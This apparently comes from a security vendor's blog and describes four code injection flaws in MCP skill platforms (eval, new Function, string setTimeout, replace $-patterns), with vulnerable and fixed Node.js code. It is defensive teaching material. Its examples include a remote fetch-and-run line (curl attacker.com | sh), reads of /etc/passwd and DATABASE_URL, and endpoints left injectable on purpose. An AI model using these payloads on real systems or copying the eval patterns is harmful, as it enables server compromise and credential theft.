← Blog

Claude MCP skill code injection via eval() and Function() constructor sandbox bypass — SA-SKL-INJECTION9

MCP skill platforms that allow developers to preview skill logic, run expression evaluators, or test dynamic configuration often need to execute user-supplied JavaScript in a controlled environment. The tempting but dangerous path is eval() or new Function() — both execute arbitrary JavaScript in the Node.js process, with access to process, require, and the entire runtime. SA-SKL-INJECTION9 covers four code injection vectors: eval(userCode) in a skill preview runner that an attacker uses to break out of the preview sandbox, new Function(userCode) in an expression evaluator that grants access to the global scope, setTimeout with a string argument that Node.js passes to eval internally, and template literal injection via unescaped $ characters in user input used inside string.replace().

By SkillAudit  |  11 Nov 2026
SA-SKL-INJECTION9 findings at a glance
CRITICALINJECTION9-001 — eval(req.body.code) in skill preview runner — attacker sends require('child_process').execSync('curl attacker.com | sh'); JavaScript executes in the Node.js process with access to require, process, and the filesystem; full server compromise from the preview endpoint
CRITICALINJECTION9-002 — new Function(req.body.expr)() in expression evaluator — Function() constructor executes in global scope with access to globalThis, process, and all globals; attacker sends process.env.DATABASE_URL to exfiltrate secrets or chains into require
HIGHINJECTION9-003 — setTimeout(req.body.callback, delay) where callback is a user-supplied string — string-form setTimeout is equivalent to eval(); attacker sends a JavaScript expression as the callback string; executed with global scope access after the delay
MEDIUMINJECTION9-004 — template.replace(pattern, userInput) where userInput contains $& or $1 — String.replace() interprets these as special replacement patterns regardless of regex or string mode; attacker injects $& to duplicate matched content or uses $$ to inject literal $ in security-sensitive template output

INJECTION9-001 — eval(userCode) in skill preview runner

MCP skill platforms often provide a preview environment where developers can test their skill logic before submitting for audit. When this preview runner executes user-supplied JavaScript with eval() directly in the Node.js process, there is no sandbox: the user code runs with access to require(), process, __dirname, and all global objects. An attacker with access to the preview endpoint (any registered developer, or unauthenticated if the endpoint lacks auth) can send a payload that installs a reverse shell, exfiltrates environment variables including database credentials and API keys, or modifies files on disk. The fix is to use the Node.js vm module with a tightly restricted context and a hard timeout.

// VULNERABLE — INJECTION9-001
// eval(userCode) in skill preview runner — no sandbox, full Node.js access.
// Attacker sends: { "code": "require('fs').readFileSync('/etc/passwd','utf8')" }

app.post('/api/skills/preview', authMiddleware, async (req, res) => {
  const { code } = req.body;

  try {
    // VULNERABLE: eval() runs in the current Node.js context
    // Attacker has access to: require, process, __dirname, global, Buffer
    const result = eval(code);
    res.json({ result });
  } catch (err) {
    res.status(400).json({ error: err.message });
  }
});
// FIXED — INJECTION9-001
// Use vm.runInNewContext() with a minimal sandbox and hard timeout.
// Attacker code has no require, no process, no filesystem access.

import { runInNewContext } from 'vm';

app.post('/api/skills/preview', authMiddleware, async (req, res) => {
  const { code } = req.body;

  if (typeof code !== 'string' || code.length > 10_000) {
    return res.status(400).json({ error: 'Invalid code' });
  }

  // Minimal sandbox — only expose safe primitives
  const sandbox = {
    console: { log: (...args) => output.push(args.join(' ')) },
    Math,
    JSON,
    output: [],
  };

  try {
    // FIX: isolated context with no require, no process, no global access
    // timeout: hard 2-second limit prevents infinite loops
    const result = runInNewContext(code, sandbox, { timeout: 2000 });
    res.json({ result, output: sandbox.output });
  } catch (err) {
    if (err.code === 'ERR_SCRIPT_EXECUTION_TIMEOUT') {
      return res.status(400).json({ error: 'Execution timed out' });
    }
    res.status(400).json({ error: err.message });
  }
});

vm module is not a full sandbox: vm.runInNewContext() prevents access to the calling module's local variables but does NOT prevent all escapes — a determined attacker can still reach the global object through prototype chain manipulation in older Node.js versions. For production skill preview environments, use a worker thread with a restricted policy or a container-isolated execution service.

INJECTION9-002 — new Function() in expression evaluator

Expression evaluators in MCP skill platforms — for computing audit score formulas, evaluating plan quota expressions, or running dynamic filter predicates — sometimes use new Function(expr)() as a shortcut. Unlike eval(), Function() executes in the global scope rather than the local scope, which means it cannot access the calling function's local variables. However, it still has access to globalThis, and in Node.js globalThis.process provides full process control. The attacker does not need local variable access — process.env, Buffer, and prototype chain traversal to reach require are all sufficient for sensitive data exfiltration.

// VULNERABLE — INJECTION9-002
// new Function(userExpr) in quota expression evaluator — global scope access.
// Attacker sends: { "formula": "globalThis.process.env.DATABASE_URL" }

app.post('/api/audits/check-quota', authMiddleware, async (req, res) => {
  const { formula } = req.body;  // e.g. "usedScans * 1.5 < planLimit"

  try {
    // VULNERABLE: Function() executes in global scope — attacker accesses process, globalThis
    const evaluator = new Function('usedScans', 'planLimit', `return ${formula}`);
    const result = evaluator(user.scansUsed, user.planLimit);
    res.json({ allowed: result });
  } catch (err) {
    res.status(400).json({ error: 'Invalid formula' });
  }
});
// FIXED — INJECTION9-002
// Use mathjs for safe mathematical expression evaluation.
// Or: allowlist a fixed set of formula templates — never accept arbitrary expressions.

import { evaluate } from 'mathjs';

app.post('/api/audits/check-quota', authMiddleware, async (req, res) => {
  const { formula } = req.body;

  if (typeof formula !== 'string' || formula.length > 200) {
    return res.status(400).json({ error: 'Invalid formula' });
  }

  try {
    // FIX: mathjs evaluate() parses a safe mathematical expression language
    // No access to JavaScript globals, require, process, or prototype chain
    const scope = {
      usedScans: user.scansUsed,
      planLimit: user.planLimit,
    };
    const result = evaluate(formula, scope);
    if (typeof result !== 'number' && typeof result !== 'boolean') {
      return res.status(400).json({ error: 'Formula must return a number or boolean' });
    }
    res.json({ allowed: Boolean(result) });
  } catch (err) {
    res.status(400).json({ error: 'Invalid formula syntax' });
  }
});

INJECTION9-003 — setTimeout string argument

The string form of setTimeout and setInterval — setTimeout("code string", delay) — is functionally equivalent to eval(). When a user-supplied string reaches setTimeout as the first argument, Node.js evaluates it as JavaScript code after the specified delay. This pattern appears in MCP skill platforms that implement webhook retry schedulers, rate limit backoff handlers, or async audit pipeline triggers where the callback is dynamically constructed from request parameters rather than a pre-defined function reference.

// VULNERABLE — INJECTION9-003
// setTimeout with string argument — equivalent to eval().
// Attacker sends: { "callback": "require('child_process').exec('id > /tmp/pwn')", "delay": 100 }

app.post('/api/webhooks/schedule-retry', authMiddleware, async (req, res) => {
  const { callback, delay } = req.body;

  // VULNERABLE: string form of setTimeout is eval() — executes user code after delay
  setTimeout(callback, Math.min(delay, 60000));
  res.json({ scheduled: true });
});
// FIXED — INJECTION9-003
// Always use a function reference with setTimeout, never a string.
// Map allowed callback names to pre-defined functions.

const RETRY_HANDLERS = {
  'retry-audit': retryAuditWebhook,
  'retry-notification': retryNotificationWebhook,
  'retry-billing': retryBillingWebhook,
};

app.post('/api/webhooks/schedule-retry', authMiddleware, async (req, res) => {
  const { callbackName, delay, webhookId } = req.body;

  // FIX: allowlist — only pre-defined function references, never arbitrary strings
  const handler = RETRY_HANDLERS[callbackName];
  if (!handler) return res.status(400).json({ error: 'Unknown callback' });

  const safeDelay = Math.min(Math.max(Number(delay) || 1000, 100), 60_000);

  // FIX: function reference — never a string; webhookId is data, not code
  setTimeout(() => handler(webhookId), safeDelay);
  res.json({ scheduled: true });
});

INJECTION9-004 — Template literal $ injection via String.replace()

String.prototype.replace() interprets certain dollar-sign sequences in the replacement string argument as special patterns: $& inserts the matched substring, $1 inserts the first capture group, $$ inserts a literal $. These are processed regardless of whether the first argument is a regex or a string pattern, and regardless of whether the template itself uses template literals. When user input is used as the replacement argument in replace(), an attacker can inject these sequences to manipulate the output — for example, in security-relevant templates like email verification links, audit report filenames, or OAuth redirect URIs where unexpected output causes functional or security defects.

// VULNERABLE — INJECTION9-004
// User input used as replacement string in .replace() — $& and $1 sequences interpreted.
// Attacker sends: { "username": "$&$&$&$&$&$&$&$&" } — exponential expansion of matched content.

function buildAuditReportPath(template, username) {
  // Template: "reports/{username}/audit-{date}.json"
  // VULNERABLE: username used directly as .replace() replacement string
  // If username contains $&, it's replaced with the matched string "{username}"
  // Result: "reports/{username}{username}{username}.../audit-{date}.json"
  return template.replace('{username}', username).replace('{date}', getDate());
}

// Also vulnerable in email template generation:
function buildVerificationEmail(bodyTemplate, userDisplayName) {
  // If userDisplayName is "$`", output includes everything before the match (string prefix leak)
  return bodyTemplate.replace('{{NAME}}', userDisplayName);
}
// FIXED — INJECTION9-004
// Use a replacer function instead of a string — function return value is literal.
// Dollar-sign sequences are not interpreted in function return values.

function buildAuditReportPath(template, username) {
  // FIX: replacer function — return value is treated as a literal string
  // $&, $1, $`, $' in username have no special meaning in function return
  return template
    .replace('{username}', () => username)  // function return: literal value
    .replace('{date}', () => getDate());
}

function buildVerificationEmail(bodyTemplate, userDisplayName) {
  // FIX: same pattern — function form of replace() for user-controlled values
  return bodyTemplate.replace('{{NAME}}', () => userDisplayName);
}

// Alternative fix: sanitize $ in user input before any replace() call
function escapeDollarSigns(str) {
  return str.replace(/\$/g, '$$$$');  // $$ → literal $ (note: $$$$ because replace is applied here too)
}

Detection: SkillAudit scans for eval(), new Function(), and setTimeout()/setInterval() calls where the first argument traces back to req.body, req.query, or req.params. For String.replace(), it flags cases where the second argument is a concatenation or direct use of user-controlled data without a function wrapper.

Related patterns

See also SA-SKL-PRIVESC4 for privilege escalation via JWT algorithm confusion, and SA-SKL-XSS6 for stored XSS via markdown rendering — both commonly chained with code injection findings to escalate impact in MCP skill audit pipelines.

Scan your MCP skill platform for SA-SKL-INJECTION9. SkillAudit's taint analysis engine tracks user-controlled values to eval(), Function(), and setTimeout() call sites across your entire skill lifecycle API. Get started free.